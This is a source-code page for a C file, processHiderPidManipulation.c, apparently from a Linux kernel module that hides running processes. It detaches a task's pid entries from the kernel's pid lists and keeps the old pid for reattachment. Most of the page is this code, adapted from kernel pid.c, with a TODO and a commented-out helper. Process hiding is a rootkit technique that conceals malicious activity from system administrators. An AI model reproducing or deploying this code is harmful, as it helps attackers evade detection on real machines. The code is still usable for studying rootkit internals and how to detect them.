-
Notifications
You must be signed in to change notification settings - Fork 12
/
processHiderPidManipulation.c
61 lines (46 loc) · 1.65 KB
/
processHiderPidManipulation.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <linux/sched.h> // for task_struct
#include <linux/pid.h>
#include <linux/rculist.h>
#include "processHiderPidManipulation.h"
#include "messagesToUser.h"
// based on linux kernel (linux-source-3.2.0) pid.c
// prototypes for functions from pid.c
static struct pid *__changePidAndGetOldPid(struct task_struct *task, enum pid_type type, struct pid *new);
struct pid *detachPidAndGetOldPid(struct task_struct *task, enum pid_type type);
//static struct pid *changePidAndGetOldPid(struct task_struct *task, enum pid_type type, struct pid *pid);
void attach_pid(struct task_struct *task, enum pid_type type, struct pid *pid) {
struct pid_link *link;
link = &task->pids[type];
link->pid = pid;
hlist_add_head_rcu(&link->node, &pid->tasks[type]);
}
static struct pid *__changePidAndGetOldPid(struct task_struct *task,
enum pid_type type, struct pid *new) {
struct pid_link *link;
struct pid *oldPid;
int tmp;
link = &task->pids[type];
oldPid = link->pid;
hlist_del_rcu(&link->node);
link->pid = new;
//TODO: store each old pid to enable them to be stored as is....
for (tmp = PIDTYPE_MAX; --tmp >= 0;) {
if (!hlist_empty(&oldPid->tasks[tmp])) {
printError("pid still in use / stopped early\n");
return oldPid;
}
}
// don't free so that it can be re-assigned again later
return oldPid;
}
struct pid *detachPidAndGetOldPid(struct task_struct *task, enum pid_type type) {
return __changePidAndGetOldPid(task, type, NULL);
}
/*
struct pid *changePidAndGetOldPid(struct task_struct *task, enum pid_type type,
struct pid *pid) {
struct pid *oldPid = __changePidAndGetOldPid(task, type, pid);
attach_pid(task, type, pid);
return oldPid;
}
*/